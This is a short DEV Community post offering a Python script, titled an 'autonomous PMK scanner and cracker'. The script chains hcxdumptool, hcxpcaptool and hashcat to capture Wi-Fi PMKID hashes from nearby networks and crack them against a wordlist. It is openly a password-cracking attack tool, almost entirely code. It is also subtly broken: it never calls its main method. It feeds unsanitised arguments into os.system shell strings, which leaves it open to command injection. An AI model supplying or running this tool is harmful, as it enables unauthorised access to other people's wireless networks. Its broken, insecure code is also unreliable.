DEV Community

Austin
Austin

Posted on • Edited on

2

Autonomous PMK scanner and cracker.

PMK Scanner and Cracker in Python

#!/usr/bin/python3

import os
import sys
import argparse
import time

class getPMKID:
    def __init__(self,iface,output,wordlist):
        self.iface = iface
        self.output = output
        self.wordlist = wordlist

    def main(self):
        if self.iface is None or self.output is None or self.wordlist is None:
            print('arguments must not be blank')
            sys.exit(0)

        print('MAKE SURE TO BE IN MONITOR MODE AND CHANGE OUTPUT NAME IF CODE IS RUN MULTIPLE TIMES IN THE SAME DIRECTORY...')
        time.sleep(3)
        print('creating pcapng.... press ctrl-c to stop captures')
        os.system(f'hcxdumptool -i {self.iface} -o {self.output}.pcapng --enable_status=1')
        print('generating essid list and hash list...')
        os.system(f'hcxpcaptool -E essidlist -I identitylist -U usernamelist -z {self.output}.16800 {self.output}.pcapng')
        print('done ...')
        os.system(f'hashcat -m 16800 {self.output}.16800 -o {self.output}_cracked.txt -a 0 -w 4 --force "{self.wordlist}"')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-i',dest="interface")
    parser.add_argument('-o',dest="output")
    parser.add_argument('-w',dest="wordlist")

    args = parser.parse_args()

    bot = getPMKID(args.interface,args.output,args.wordlist)
    print('Cracking PMKID')



Enter fullscreen mode Exit fullscreen mode

AWS Q Developer image

Your AI Code Assistant

Automate your code reviews. Catch bugs before your coworkers. Fix security issues in your code. Built to handle large projects, Amazon Q Developer works alongside you from idea to production code.

Get started free in your IDE

Top comments (0)

Postmark Image

Speedy emails, satisfied customers

Are delayed transactional emails costing you user satisfaction? Postmark delivers your emails almost instantly, keeping your customers happy and connected.

Sign up

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay